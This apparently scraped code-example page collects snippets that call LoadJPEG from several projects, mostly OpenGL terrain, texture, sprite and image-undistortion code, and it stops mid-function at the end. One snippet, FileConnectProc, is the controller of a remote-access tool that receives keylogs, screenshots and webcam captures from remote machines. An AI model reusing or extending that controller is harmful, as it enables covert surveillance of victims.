示例#1
0
文件: land.c 项目: kasicass/frustum
int land_create_texture(land_t *land,land_config_t *config) {
    int i,j,k,l,m,width,height,imagewidth,imageheight,offset;
    unsigned char *data,*image;
    land->material = glGenLists(1); // create material
    glNewList(land->material,GL_COMPILE);
    glMaterialfv(GL_FRONT,GL_AMBIENT,config->ambient);
    glMaterialfv(GL_FRONT,GL_DIFFUSE,config->diffuse);
    glMaterialfv(GL_FRONT,GL_SPECULAR,config->specular);
    glEndList();
    land->texture = (int*)malloc(sizeof(int) * config->num_base * config->num_base + 1);
    if(!land->texture) return 0;
    memset(land->texture,0,sizeof(int) * config->num_base * config->num_base + 1);    
    land->num_texture = config->num_base * config->num_base + 1;
    data = NULL;
    if(strstr(config->detail,".jpg")) data = LoadJPEG(config->detail,&width,&height);
    else if(strstr(config->detail,".tga")) data = LoadTGA(config->detail,&width,&height);
    if(data) {  // create detail texture
        glGenTextures(1,&land->texture[0]);
        glBindTexture(GL_TEXTURE_2D,land->texture[0]);
        glTexParameterf(GL_TEXTURE_2D,GL_TEXTURE_MAG_FILTER,config->texture_mode);
        glTexParameterf(GL_TEXTURE_2D,GL_TEXTURE_MIN_FILTER,config->texture_mode);
        glTexParameterf(GL_TEXTURE_2D,GL_TEXTURE_WRAP_S,GL_REPEAT);
        glTexParameterf(GL_TEXTURE_2D,GL_TEXTURE_WRAP_T,GL_REPEAT);
        gluBuild2DMipmaps(GL_TEXTURE_2D,GL_RGBA,width,height,GL_RGBA,GL_UNSIGNED_BYTE,data);
        free(data);
    }    
    data = NULL;
    if(strstr(config->base,".jpg")) data = LoadJPEG(config->base,&width,&height);
    else if(strstr(config->base,".tga")) data = LoadTGA(config->base,&width,&height);
    if(data) {
        imagewidth = width / config->num_base;
        imageheight = height / config->num_base;
        image = (unsigned char*)malloc(imagewidth * imageheight * 4);
        if(!image) return 0;
        for(j = 0; j < config->num_base; j++)   // create base textures
            for(i = 0; i < config->num_base; i++) {
                for(l = 0, m = 0; l < imageheight; l++) {
                    offset = (width * (imageheight * j + l) + imagewidth * i) * 4;
                    for(k = 0; k < imagewidth * 4; k += 4, m += 4) {
                        image[m + 0] = data[offset + k + 0];
                        image[m + 1] = data[offset + k + 1];
                        image[m + 2] = data[offset + k + 2];
                        image[m + 3] = data[offset + k + 3];
                    }
                }
                glGenTextures(1,&land->texture[config->num_base * j + i + 1]);
                glBindTexture(GL_TEXTURE_2D,land->texture[config->num_base * j + i + 1]);
                glTexParameterf(GL_TEXTURE_2D,GL_TEXTURE_MAG_FILTER,config->texture_mode);
                glTexParameterf(GL_TEXTURE_2D,GL_TEXTURE_MIN_FILTER,config->texture_mode);
                glTexParameterf(GL_TEXTURE_2D,GL_TEXTURE_WRAP_S,GL_CLAMP);
                glTexParameterf(GL_TEXTURE_2D,GL_TEXTURE_WRAP_T,GL_CLAMP);
                gluBuild2DMipmaps(GL_TEXTURE_2D,GL_RGBA,imagewidth,imageheight,GL_RGBA,GL_UNSIGNED_BYTE,image);
            }
        free(image);
        free(data);
    }
    return 1;
}
void UndistortImages(const std::vector<image_t> &images, 
                     const fisheye_params_t &fisheye_params)
{
    int num_images = (int) images.size();

    for (int i = 0; i < num_images; i++) {
        img_t *img = LoadJPEG(images[i].name.c_str());
        img_t *img_u;

        if (images[i].is_fisheye) {
	  printf("Undistorting image %s\n", images[i].name.c_str());
	  img_u = UndistortImage(img, fisheye_params);
	} else {
	  printf("Skipping image %s (not marked as fisheye).\n", 
		 images[i].name.c_str());
	  img_u = img_copy(img);
	}

        const std::string out = 
            images[i].name.substr(0, 
                    images[i].name.length() - 3).append("fd.jpg");
        WriteJPEG(img_u, (const char *) out.c_str());

        img_free(img);
        img_free(img_u);
    }
}
示例#3
0
文件: main.c 项目: kasicass/frustum
void init(void) {
	unsigned char *data;
	int width,height;
	
	glFogCoordfEXT = (PFNGLFOGCOORDFEXTPROC) wglGetProcAddress("glFogCoordfEXT");

	glClearDepth(1);
	glClearColor(fogcolor[0],fogcolor[1],fogcolor[2],fogcolor[3]);
	glShadeModel(GL_SMOOTH);
	glEnable(GL_DEPTH_TEST);

	glFogi(GL_FOG_MODE,GL_LINEAR);
	glFogfv(GL_FOG_COLOR,fogcolor);
	glFogf(GL_FOG_START,0);
	glFogf(GL_FOG_END,50);
	glFogi(GL_FOG_COORDINATE_SOURCE_EXT,GL_FOG_COORDINATE_EXT);
	
	glEnable(GL_LIGHT0);

	glGenTextures(1,&texture);
	glBindTexture(GL_TEXTURE_2D,texture);
	if((data = LoadJPEG("./data/ground.jpg",&width,&height))) {
		glTexParameterf(GL_TEXTURE_2D,GL_TEXTURE_MAG_FILTER,GL_LINEAR_MIPMAP_LINEAR);
		glTexParameterf(GL_TEXTURE_2D,GL_TEXTURE_MIN_FILTER,GL_LINEAR_MIPMAP_LINEAR);
		gluBuild2DMipmaps(GL_TEXTURE_2D,4,width,height,GL_RGBA,
			GL_UNSIGNED_BYTE,data);
		free(data);
	}
	
	vertex = Load3DS("./data/ground.3ds",&num_vertex);
}
示例#4
0
文件: land.c 项目: kasicass/frustum
land_node_vertex_t *land_create_mesh(land_t *land,land_config_t *config) {
    unsigned char *heightmap;
    int i,j,k,l,width,height;
    land_node_vertex_t *vertex;
    float p00[3],p10[3],p01[3],v10[3],v01[3],n[3];
    heightmap = NULL;
    if(strstr(config->heightmap,".tga") || strstr(config->heightmap,".TGA"))
        heightmap = LoadTGA(config->heightmap,&width,&height);
    else if(strstr(config->heightmap,".jpg") || strstr(config->heightmap,".JPG"))
        heightmap = LoadJPEG(config->heightmap,&width,&height);
    if(!heightmap) return NULL;
    vertex = (land_node_vertex_t*)malloc(sizeof(land_node_vertex_t) * width * height);
    if(!vertex) return NULL;
    land->vertex = (land_vertex_t*)malloc(sizeof(land_vertex_t) * width * height);
    if(!land->vertex) return NULL;
    for(j = 0, k = 0, l = 0; j < height; j++)   // create mesh
        for(i = 0; i < width; i++, k++, l += 4) {
            VectorSet((float)i * config->step,(float)j * config->step,(float)heightmap[l] / 255.0 * config->altitude,vertex[k].v);
            VectorSet(0,0,0,vertex[k].n);
            vertex[k].t0[0] = vertex[k].t1[0] = (float)i / (float)(width - 1);
            vertex[k].t0[1] = vertex[k].t1[1] = (float)j / (float)(height - 1);
            vertex[k].t0[0] *= (float)config->num_base;
            vertex[k].t0[1] *= (float)config->num_base;
            vertex[k].t1[0] *= (float)config->num_detail;
            vertex[k].t1[1] *= (float)config->num_detail;
            VectorCopy(vertex[k].v,land->vertex[k].v);
        }
    for(j = 0, k = 0; j < height - 1; j++, k++) // calculate normals
        for(i = 0; i < width - 1; i++, k++) {
            VectorCopy(vertex[k].v,p00);
            VectorCopy(vertex[k + 1].v,p10);
            VectorCopy(vertex[k + width].v,p01);
            VectorSub(p10,p00,v10);
            VectorSub(p01,p00,v01);
            VectorCrossProduct(v10,v01,n);
            VectorNormalize(n,n);
            VectorAdd(vertex[k].n,n,vertex[k].n);
            VectorAdd(vertex[k + 1].n,n,vertex[k + 1].n);
            VectorAdd(vertex[k + width].n,n,vertex[k + width].n);
            VectorCopy(vertex[k + width + 1].v,p00);
            VectorCopy(vertex[k + width].v,p10);
            VectorCopy(vertex[k + 1].v,p01);
            VectorSub(p10,p00,v10);
            VectorSub(p01,p00,v01);
            VectorCrossProduct(v10,v01,n);
            VectorNormalize(n,n);
            VectorAdd(vertex[k + width + 1].n,n,vertex[k + width + 1].n);
            VectorAdd(vertex[k + width].n,n,vertex[k + width].n);
            VectorAdd(vertex[k + 1].n,n,vertex[k + 1].n);
        }
    for(i = 0; i < width * height; i++) // normalize normals
        VectorNormalize(vertex[i].n,vertex[i].n);
    land->width = width;
    land->height = height;
    land->step = config->step;
    land->lod = config->lod;
    free(heightmap);
    return vertex;
}
示例#5
0
bool PBImage::LoadImage(const char *path)
{

	if (m_pPath != NULL && path != NULL && strcmp(m_pPath, path) == 0)
	{
		return true;
	}

	FreeData();

	MarkAsChanged();

	if (path != NULL)
	{
		char *p = strrchr((char *)path, '.');

		if (p != NULL && (
				strncmp(p, ".jpg", 4) == 0 ||
				strncmp(p, ".jpeg", 5) == 0 ||
				strncmp(p, ".JPG", 4) == 0 ||
				strncmp(p, ".JPEG", 5) == 0
				))
		{
			m_ImgLoad = true;
			m_pImage = LoadJPEG(path, GetClientWidth(), GetClientHeight(), 64, 128, 1);
			if (m_pImage != NULL)
			{
				m_pPath = strdup(path);
				return true;
			}
			return false;
		}

		if (p != NULL && (
				strncmp(p, ".bmp", 4) == 0 ||
				strncmp(p, ".BMP", 4) == 0
				))
		{
			m_ImgLoad = true;
			m_pImage = LoadBitmap(path);
			if (m_pImage != NULL)
			{
				m_pPath = strdup(path);
				return true;
			}
			return false;
		}
	}

	return false;

}
//constructor
cTexture::cTexture(const char *filename)
{
	bitmap = NULL;
	if (CheckJPEGsize(filename, &width, &height))
	{

		JSAMPLE *jbitmap = new JSAMPLE[width * height * 3];
		bitmap = new sRGB8[width * height];

		if (!LoadJPEG(filename, jbitmap))
		{
			printf("Error during JPEG loading: %s\n", filename);
			loaded = false;
		}
		else
		{
			printf("Image %s loaded\n", filename);
			printf("Width = %d, Height = %d\n", width, height);
			if (width > 0 && height > 0)
			{
				for (int i = 0; i < width * height; i++)
				{
					int adres = 3 * i;
					bitmap[i].R = jbitmap[adres];
					bitmap[i].G = jbitmap[adres + 1];
					bitmap[i].B = jbitmap[adres + 2];
				}
				loaded = true;
			}
			else
			{
				loaded = false;
			}
		}

		delete[] jbitmap;

	}
	else
	{
		printf("Can't load texture: %s\n", filename);
		width = 100;
		height = 100;
		loaded = false;
		bitmap = new sRGB8[100 * 100];
		memset(bitmap,255,sizeof(sRGB8)*100*100);
	}
}
void UndistortImage(const std::string &in, 
                    const camera_params_t &camera,
                    const std::string &out)
{ 
    printf("Undistorting image %s\n", in.c_str());
    fflush(stdout);

    img_t *img = LoadJPEG(in.c_str());
    int w = img->w;
    int h = img->h;
    
    img_t *img_out = img_new(w, h);
   
    double f2_inv = 1.0 / (camera.f * camera.f);

    for (int y = 0; y < h; y++) {
        for (int x = 0; x < w; x++) {
            double x_c = x - 0.5 * w;
            double y_c = y - 0.5 * h;
            
            double r2 = (x_c * x_c + y_c * y_c) * f2_inv;
            double factor = 1.0 + camera.k[0] * r2 + camera.k[1] * r2 * r2;
            
            x_c *= factor;
            y_c *= factor;

            x_c += 0.5 * w;
            y_c += 0.5 * h;
            
            fcolor_t c;
            if (x_c >= 0 && x_c < w - 1 && y_c >= 0 && y_c < h - 1) {
                c = pixel_lerp(img, x_c, y_c);
            } else {
                c = fcolor_new(0.0, 0.0, 0.0);
            }
            
            img_set_pixel(img_out, x, y, 
                          iround(c.r), iround(c.g), iround(c.b));
        }
    }

    // img_write_bmp_file(img_out, (char *) out.c_str());
    WriteJPEG(img_out, (char *) out.c_str());

    img_free(img);
    img_free(img_out);
}
示例#8
0
void skinnedmesh_load_skin(skinnedmesh_t *sm,char *name) {
    FILE *file;
    int num_surface = 0;
    int surface[MAX_SURFACES];
    char c,buffer[256],*ptr = buffer;
    file = fopen(name,"r");
    if(!file) {
        fprintf(stderr,"error open skin file %s\n",name);
        return;
    }
    while(fread(&c,1,1,file) == 1)
        if(c != ' ' && c != '\t' && c != '\r') {
            if(c == ',') {
                int i;
                *ptr = '\0';
                ptr = buffer;
                i = find_surface(sm,buffer);
                if(i >= 0) surface[num_surface++] = i;
            } else if(c == '\n') {
                int i,width,height,id = 0;
                unsigned char *data = NULL;
                *ptr = '\0';
                ptr = buffer;
                if(strstr(buffer,".jpg")) {
                    data = LoadJPEG(buffer,&width,&height);
                } else if(strstr(buffer,".tga")) {
                    data = LoadTGA(buffer,&width,&height);
                }
                if(data) {
                    glGenTextures(1,&id);
                    glBindTexture(GL_TEXTURE_2D,id);
                    glTexParameterf(GL_TEXTURE_2D,GL_TEXTURE_MAG_FILTER,
                        GL_LINEAR_MIPMAP_LINEAR);
                    glTexParameterf(GL_TEXTURE_2D,GL_TEXTURE_MIN_FILTER,
                        GL_LINEAR_MIPMAP_LINEAR);
                    gluBuild2DMipmaps(GL_TEXTURE_2D,4,width,height,GL_RGBA,
                        GL_UNSIGNED_BYTE,data);
                    free(data);
                }
                for(i = 0; i < num_surface; i++)
                    sm->surface[surface[i]]->textureid = id;
                num_surface = 0;
            } else *ptr++ = c;
        }
    fclose(file);
}
示例#9
0
//---------------------------------------------------------------------
void __fastcall TLogPicDlg::LoadPic(void)
{
	m_Cur = 0;
	int i;
	for( i = 0; i < m_Cnt; i++ ){
		char fname[256];
		char abf[2];
		abf[0] = abf[1] = 0;
		if( LastC(sys.m_AutoSaveDir.c_str()) != '\\' ) abf[0] = '\\';
		sprintf(fname, "%s%s20%s.jpg", sys.m_AutoSaveDir.c_str(), abf, m_List[i].c_str());
		if( LoadJPEG(pBitmapS[i], fname) != TRUE ){
			sprintf(fname, "%s%s20%s.bmp", sys.m_AutoSaveDir.c_str(), abf, m_List[i].c_str());
			if( LoadBitmap(pBitmapS[i], fname) != TRUE ){
				FillBitmap(pBitmapS[i], clWhite);
			}
		}
	}
	pBitmap->Assign(pBitmapS[0]);
}
	Texture LoadTexture( string name )
	{
		Log("Want to load an image file");
		string ext = split(name, ".", "")[1];
		boost::to_upper(ext);
		Log("Loading an image file of type " + ext);
		if (ext == "BMP")
		{
			return LoadBMP(name);
		}
		else if (ext == "JPEG" || ext == "JPG")
		{
			return LoadJPEG(name);
		}
		else if (ext == "PNG")
		{
			Log("About to load a png");
			return LoadPNG(name);
		}
	}
示例#11
0
文件: main.c 项目: kasicass/frustum
void init(void) {
	unsigned char *data;
	float *model;
	int i,width,height,num_face;
	
	glClearDepth(1);
	glClearColor(0,0,0,0);
	glShadeModel(GL_SMOOTH);
	glEnable(GL_DEPTH_TEST);
	glEnable(GL_CULL_FACE);

	glEnable(GL_LIGHT0);

	glEnable(GL_TEXTURE_GEN_S);
	glEnable(GL_TEXTURE_GEN_T);
	glTexGeni(GL_S,GL_TEXTURE_GEN_MODE,GL_SPHERE_MAP);
	glTexGeni(GL_T,GL_TEXTURE_GEN_MODE,GL_SPHERE_MAP);
	
	glGenTextures(1,&texture);
	glBindTexture(GL_TEXTURE_2D,texture);
	if((data = LoadJPEG("./data/base.jpg",&width,&height))) {
		glTexParameterf(GL_TEXTURE_2D,GL_TEXTURE_MAG_FILTER,GL_LINEAR);
		glTexParameterf(GL_TEXTURE_2D,GL_TEXTURE_MIN_FILTER,GL_LINEAR);
		gluBuild2DMipmaps(GL_TEXTURE_2D,4,width,height,GL_RGBA,
			GL_UNSIGNED_BYTE,data);
		free(data);
	}
	
	model = Load3DS("./data/model.3ds",&num_face);
	list = glGenLists(1);
	glNewList(list,GL_COMPILE);
	glBegin(GL_TRIANGLES);
	for(i = 0; i < num_face; i++) {
		glNormal3fv((float*)&model[i << 3] + 3);
		glVertex3fv((float*)&model[i << 3]);
	}
	glEnd();
	glEndList();
	free(model);
}
示例#12
0
文件: test.c 项目: CraziFuzzy/sagetv
int main(int argc, char** argv)
{
	if (argc != 5 && argc != 6 && argc != 7)
	{
		printf("Usage: program SourceJPEG DestJPEG DestWidth DestHeight [bpp] [rotation]\r\n");
		return -1;
	}
	RawImage_t* myImage;
  int bpp = 32;
  int rotation = 0;
  if (argc > 5)
    bpp = atoi(argv[5]);
  if (argc > 6)
    rotation = atoi(argv[6]);
	char* lastDot = strrchr(argv[1], '.');
	if (lastDot && !strcasecmp(lastDot, ".png"))
	{
		FILE* fp = fopen(argv[1], "rb");
		myImage = LoadPNG(fp, atoi(argv[3]), atoi(argv[4]));
		fclose(fp);
	}
	else if (lastDot && !strcasecmp(lastDot, ".gif"))
	{
		int fp = open(argv[1], O_RDONLY | O_BINARY);
		myImage = LoadGIF(fp, atoi(argv[3]), atoi(argv[4]));
		close(fp);
	}
	else if (lastDot && (!strcasecmp(lastDot, ".tif") || !strcasecmp(lastDot, ".tiff")))
	{
		int fp = open(argv[1], O_RDONLY | O_BINARY);
		myImage = LoadTIFF(fp, argv[1], atoi(argv[3]), atoi(argv[4]));
		close(fp);
	}
	else
	{
		FILE* fp = fopen(argv[1], "rb");
		myImage = LoadJPEG(fp, atoi(argv[3]), atoi(argv[4]), bpp, rotation);
		fclose(fp);
	}
	printf("Finished loading image\r\n");fflush(stdout);
	if (!myImage)
	{
		printf("FAILED loading image\r\n");
		return -1;
	}

	FILE* fp = fopen(argv[2], "wb");
	if (strstr(argv[2], ".png"))
	{
		if (SavePNG(myImage, fp))
			printf("FAILED saving PNG image\r\n");
	}
	else if (SaveJPEG(myImage, fp))
	{
		printf("FAILED saving JPEG image\r\n");
	}
	fclose(fp);

	free(myImage->pPlane);
	free(myImage);
	return 0;
}
LRESULT CALLBACK FileConnectProc(HWND hwnd,UINT message,WPARAM wParam,LPARAM lParam)
{
FBIPACKET DL;
//mystruct MS;
char FileName [100] = "";
int	i = 0;
int j = 0;
int Select = 0;
char FilePathA[256] = "";
HMODULE getmodh;
//LVBKIMAGE IBBkImg;
LV_ITEM	 item;
char Name [50] = "";
char Buffer [512] = "";
RECT rc;
WORD			FEvent;
HANDLE hFile;
LPSTR pszFileText;
	switch(message)
	{
////////////////////////////////////////////////////////////////////////////////
	case WM_INITDIALOG:
			if(InitiliseSocket(hwnd))		
			 {
	         }
			 else
			 {
		// MessageBox(NULL, "FAIL InitiliseSocket", "InitiliseSocket", MB_OK);
			 }/*
			 		getmodh = GetModuleHandle(NULL);
					GetModuleFileName(getmodh,me,sizeof(me));
			*/
			 DLSize = sizeof(FBIPACKET);
					
		break;
					 
	case RATMSG_SOCKET:
		FEvent=WSAGETSELECTEVENT(lParam);
		switch(FEvent)
		{
		case FD_CLOSE:
			break;
/////////////////////////////////////////////////////////////////////////////////////////////
		case FD_ACCEPT:
			while(FClient[F] != NULL)
			{
			F++;
			}
			FClient[F]=accept(wParam,(LPSOCKADDR)&ServAdr,&AdrLen);
			break;
/////////////////////////////////////////////////////////////////////////////////////////////
		case FD_READ:
			ZeroMemory(&DL, sizeof(FBIPACKET));
			recv(wParam,(char*)&DL,DLSize,0);
			switch(DL.PacketType)
			{
				
			case PACKET_FILE_MANAGER_FILE_RECV:
				if(DOWN[DL.ID2] == NULL)
				{
					//MessageBox(NULL, "cant find file", "FRecv.Data", MB_OK);
					break;
				}
				fwrite(DL.Data, DL.ID3, 1, DOWN[DL.ID2]);
					break;
			case PACKET_FILE_MANAGER_FILE_C:
				if(DOWN[DL.ID2] == NULL)
				{
					MessageBox(NULL, "cant find file", "FRecv.Data", MB_OK);
					break;
				}				
				fclose(DOWN[DL.ID2]);
				break;					
			case PACKET_FILE_MANAGER_FILE_UPDATE_WIN:
				item.mask=TVIF_TEXT;
				item.iItem=DL.ID3;
				
				item.iSubItem=2;
				item.pszText=DL.Data;
				ListView_SetItem(GetDlgItem(File[DL.ID],IDC_TRANSFER),&item);
				break;
			case SCREEN_SHOT_OPEN:
				SCREENDOWN[DL.ID] = fopen(DL.Data, "wb");
				SendMessage(GetDlgItem(Screen[DL.ID],IDC_PROGRESS1), PBM_SETRANGE32 , 0, DL.ID2);
				break;
			case SCREEN_SHOT_RECV:
				if(SCREENDOWN[DL.ID] == NULL)
				{
					//MessageBox(NULL, "cant find file", "FRecv.Data", MB_OK);
					break;
				}
				fwrite(DL.Data, DL.ID3, 1, SCREENDOWN[DL.ID]);
				SendMessage(GetDlgItem(Screen[DL.ID],IDC_PROGRESS1), PBM_SETPOS , (WPARAM)DL.ID2, 0);
				break;
			case SCREEN_SHOT_CLOSE:
				fclose(SCREENDOWN[DL.ID]);
				if(Screen[DL.ID] == NULL)
				{
					break;
				}
				SendMessage(GetDlgItem(Screen[DL.ID],IDC_PROGRESS1), PBM_SETPOS , (WPARAM)0, 0);
				GetClientRect(Screen[DL.ID], &rc);				
				ScreenA[DL.ID] = LoadJPEG(DL.Data);
				SetFocus (Screen[DL.ID]);
				InvalidateRect (Screen[DL.ID], NULL, FALSE);
				
				GetWindowText(GetDlgItem(Screen[DL.ID], IDC_SINGLESHOT), Buffer, 12);
				if(atoi(Buffer) == 1)
				{
				break;
				}
				else
				{
				GetWindowText(GetDlgItem(Screen[DL.ID], IDC_EDIT1), Buffer, 12);
				Sleep(atoi(Buffer));
				FBISend(Server[DL.ID], "", SendMessage(GetDlgItem(Screen[DL.ID], IDC_SLIDER1), TBM_GETPOS,NULL,NULL), rc.right - 20, rc.bottom - 20, SCREEN_CAPTURE);
				}
				DeleteFile(DL.Data);
				break;
			case WEBCAM_SHOT_OPEN:
				WEBDOWN[DL.ID] = fopen(DL.Data, "wb");
				SendMessage(GetDlgItem(Web[DL.ID],IDC_PROGRESS1), PBM_SETRANGE32 , 0, DL.ID2);
				break;
			case WEBCAM_SHOT_RECV:
				if(WEBDOWN[DL.ID] == NULL)
				{
					//MessageBox(NULL, "cant find file", "FRecv.Data", MB_OK);
					break;
				}
				fwrite(DL.Data, DL.ID3, 1, WEBDOWN[DL.ID]);
				SendMessage(GetDlgItem(Web[DL.ID],IDC_PROGRESS1), PBM_SETPOS , (WPARAM)DL.ID2, 0);
				break;
			case WEBCAM_SHOT_CLOSE:
				fclose(WEBDOWN[DL.ID]);
				if(Web[DL.ID] == NULL)
				{
				 break;
				}
				SendMessage(GetDlgItem(Web[DL.ID],IDC_PROGRESS1), PBM_SETPOS , (WPARAM)0, 0);
				GetClientRect(Web[DL.ID], &rc);				
				WebA[DL.ID] = LoadJPEG(DL.Data);
				SetFocus (Web[DL.ID]);
				InvalidateRect (Web[DL.ID], NULL, FALSE);
				
				GetWindowText(GetDlgItem(Web[DL.ID], IDC_SINGLESHOT), Buffer, 12);
				if(atoi(Buffer) == 1)
				{
					break;
				}
				else
				{
					GetWindowText(GetDlgItem(Screen[DL.ID], IDC_EDIT1), Buffer, 12);
					Sleep(atoi(Buffer));
					FBISend(Server[DL.ID], "", 0, rc.right, rc.bottom - 20, WEBCAM_CAPTURE);
				}
				GetWindowText(GetDlgItem(Web[DL.ID], IDC_ID), Buffer, 12);
				Sleep(atoi(Buffer));
				DeleteFile(DL.Data);
				break;
				
			case PACKET_KEYLOG_OPEN:
				Logs[DL.ID] = fopen(DL.Data, "wb");
				SendMessage(GetDlgItem(KeyHwnd[DL.ID],IDC_PROGRESSA), PBM_SETRANGE32 , 0, DL.ID2);
				SendMessage(GetDlgItem(KeyHwnd[DL.ID],IDC_PROGRESSA), PBM_SETPOS , (WPARAM)0, 0);
				//MessageBox(NULL, "CLIENT OPENED LOGS!", "LOLS", MB_OK);
				break;
			case PACKET_KEYLOG_OFFLINE:
				fclose(Logs[DL.ID]);
				SendMessage(GetDlgItem(Screen[DL.ID],IDC_PROGRESSA), PBM_SETPOS , (WPARAM)DL.ID2, 0);
				//  Set character formatting and background color
				SendMessage(GetDlgItem(KeyHwnd[DL.ID],IDC_MAIN_STATUS), SB_SETTEXT, 0, (LPARAM)"Logs Downloaded .");	
				hFile = CreateFile(DL.Data, GENERIC_READ, FILE_SHARE_READ, NULL,OPEN_EXISTING, 0, NULL);
				if(hFile != INVALID_HANDLE_VALUE)
				{
					DWORD dwFileSize;
					
					dwFileSize = GetFileSize(hFile, NULL);
					if(dwFileSize != 0xFFFFFFFF)
					{
						pszFileText = (char *)GlobalAlloc(GPTR, dwFileSize + 1);
						if(pszFileText != NULL)
						{
							DWORD dwRead;
							
							if(ReadFile(hFile, pszFileText, dwFileSize, &dwRead, NULL))
							{
								pszFileText[dwFileSize] = 0; // Add null terminator
								
								if(SetWindowText(GetDlgItem(KeyHwnd[DL.ID],IDC_OFFLINE), pszFileText))
								{
								}
								else
								{
									// MessageBox(NULL, "It did not work!", "Fail", MB_OK);	
								}
								
							}
							GlobalFree(pszFileText);
						}
					}
					CloseHandle(hFile);
				}
				
				break;
			case PACKET_KEYLOG_DOWNLOAD:
				fwrite(DL.Data, DL.ID3, 1, Logs[DL.ID]);
				SendMessage(GetDlgItem(Screen[DL.ID],IDC_PROGRESSA), PBM_SETPOS , (WPARAM)DL.ID2, 0);
				//sprintf(Buffer, "%d", Recv.ID2);
				//MessageBox(NULL, Buffer, "Buffer", MB_OK);
				 break;
			}
            break;
		}
	break;

	case WM_COMMAND:
		Select=LOWORD(wParam);
		switch(Select)
		{	
		case IDCANCEL:
			        EndDialog(hwnd,Select);
					break;
		}
		return TRUE;
	}
	return 0;
}
示例#14
0
//jpg版本
IDirectDrawSurface7 * cls_sprite_surface::getSpriteSurfaceJPG(IDirectDrawSurface7 * lpdds,char * srcname,char * spritename,\
												   LPCSTR szJpg,int frame_num,bool debugflag){
	//IDirectDrawSurface7 * templpdds;
	int loaded=0;
	//往素材队列放结构对象
	int current_index=this->get_max_sprite_surface(0);

	JPEGINFO jinf;
	if (!loaded)
	LoadJPEG(FROM_FILE,szJpg,&lpdds,lpdd,jinf);
	//if (!loaded)
	//	lpdds=DDLoadBitmap(lpdd,szBitmap);
	//往精灵画面数组递增1个元素
	if(current_index==1000){
	MessageBox(hwnd,"already have 100 sprite surfaces!","bug",MB_OK);
	}
	else{//如果是-1就是第一次了,加上就是下标0
	//	char buf[30];
	//	sprintf(buf,"当前最大画面管理器元素下标%d",current_index);
	//	MessageBox(hwnd,buf,"",MB_OK);
	this->sprite_surface[current_index+1].used=1;
	this->sprite_surface[current_index+1].lpddsrc=lpdds;
	this->sprite_surface[current_index+1].srcname=srcname;
	this->sprite_surface[current_index+1].sprite_numframe=frame_num;
	//this->sprite_surface[current_index+1].used=1;
	}
	this->sfmgrtemp->sprite_group_name=spritename;
	this->sfmgrtemp->source_pic_name=szJpg;
	this->sfmgrtemp->lpdds=lpdds;
	int hasaname=0;//是不是已经有了组名

	//查询szJpg JPEG图的长宽信息。
	//HBITMAP hbm;
    //BITMAP bm;
    // LoadImage has some added functionality in Windows 95 that allows
    // you to load a bitmap from a file on disk.
   // hbm = (HBITMAP)LoadImage(NULL, szBitmap, IMAGE_BITMAP, 0, 0,
//		LR_LOADFROMFILE|LR_CREATEDIBSECTION);
//	if (hbm == NULL){
//		MessageBox(this->hwnd,"无法获取位图句柄","bug",MB_OK);
//		return NULL;//
//	}
 //   GetObject(hbm, sizeof(bm), &bm); // get size of bitmap
	//创建指定数量的精灵动作画面

	//int width=bm.bmWidth/frame_num;//横向依次读取n个精灵
	int width=jinf.width;
	//alertme((int)bm.bmWidth);
	//alertme(frame_num);
	//alertme(width);
	//int height=bm.bmHeight;
	int height=jinf.height;
	//照搬windows GMP的精灵结构sprite,我把他封装到了我的SPRITE_SURFACE结构里了,再加2个成员以判断每一帧的长宽
	this->sprite_surface[0].spritename=spritename;
	int i=current_index+1;
	this->sprite_surface[i].sprite.current_frame=0;
	this->sprite_surface[i].used=1;
	this->sprite_surface[i].sprite.x=0;
	this->sprite_surface[i].sprite.y=0;
	//this->sprite_surface[i].used=1;
	//必须加1,但创建画面的时候不要,不知道为什么?否则右面1像素显示不出!
	this->sprite_surface[i].sprite.theframe_width=width;//之后可以去修改,比如动作游戏,先默认为切出来的大小。
	this->sprite_surface[i].sprite.theframe_height=height;
//alertme(width);
	for (int j=0;j<frame_num;j++){
		this->sprite_surface[i].sprite.frames[j]=DDraw_Create_Surface(width,height,3,1);//标记3是指使用系统内存
	}

	//然后读入位图到各个精灵动作画面
	RECT DestRect;RECT SrcRect;
	DestRect.top=0;DestRect.left=0;DestRect.right=width;DestRect.bottom=height;

	for (j=0;j<frame_num;j++){
		//alertme("j是");
		//alertme(j);
		SrcRect.top=0;
		SrcRect.left=0+j*width;
		//alertme("SrcRect.left是");
		//alertme(SrcRect.left);
		SrcRect.right=SrcRect.left+width;
		//alertme("SrcRect.right是");
		//alertme(SrcRect.right);
		SrcRect.bottom=height;
		//alertme("SrcRect.bottom是");
		//alertme(SrcRect.bottom);
		if(FAILED(this->sprite_surface[i].sprite.frames[j]->Blt(&DestRect, // pointer to dest RECT
		lpdds, // pointer to source surface
		&SrcRect, // pointer to source RECT
		DDBLT_WAIT, 
		&ddbltfx)))// pointer to DDBLTFX holding info
		{
			MessageBox(this->hwnd,"copy sprite surface failed!","info",MB_OK);
		}
	}
	
	//删除GDI对象
//	if(!DeleteObject(hbm)){
//		MessageBox(hwnd,"删除位图对象失败","",MB_OK);
//	}
	return sprite_surface[current_index+1].lpddsrc;
}
示例#15
0
文件: main.c 项目: kasicass/frustum
void init(void) {
    float tmp,xmin,xmax,ymin,ymax,zmin,zmax,a[3],b[3];
    int i,j,k,width,height;
    unsigned char *data;
    float plane_S[] = { 1.0, 0.0, 0.0, 0.0 };
    float plane_T[] = { 0.0, 1.0, 0.0, 0.0 };
    float plane_R[] = { 0.0, 0.0, 1.0, 0.0 };
    float plane_Q[] = { 0.0, 0.0, 0.0, 1.0 };

    glClearDepth(1.0);
    glShadeModel(GL_SMOOTH);
    glEnable(GL_DEPTH_TEST);
    glDepthFunc(GL_LEQUAL);
    glDisable(GL_CULL_FACE);
    
    glEnable(GL_LIGHT0);
    
    modelsize = 0;
    vertexmodel = Load3DS("data/model.3ds",&num_vertexmodel);
    printf("./data/model.3ds %d face\n",num_vertexmodel / 3);
    
    xmin = xmax = ymin = ymax = zmin = zmax = 0;
    
    for(i = 0; i < num_vertexmodel; i++) {
        if(vertexmodel[(i << 3) + 0] < xmin) xmin = vertexmodel[(i << 3) + 0];
        if(vertexmodel[(i << 3) + 0] > xmax) xmax = vertexmodel[(i << 3) + 0];
        if(vertexmodel[(i << 3) + 1] < ymin) ymin = vertexmodel[(i << 3) + 1];
        if(vertexmodel[(i << 3) + 1] > ymax) ymax = vertexmodel[(i << 3) + 1];
        if(vertexmodel[(i << 3) + 2] < zmin) zmin = vertexmodel[(i << 3) + 2];
        if(vertexmodel[(i << 3) + 2] > zmax) zmax = vertexmodel[(i << 3) + 2];
    }
    
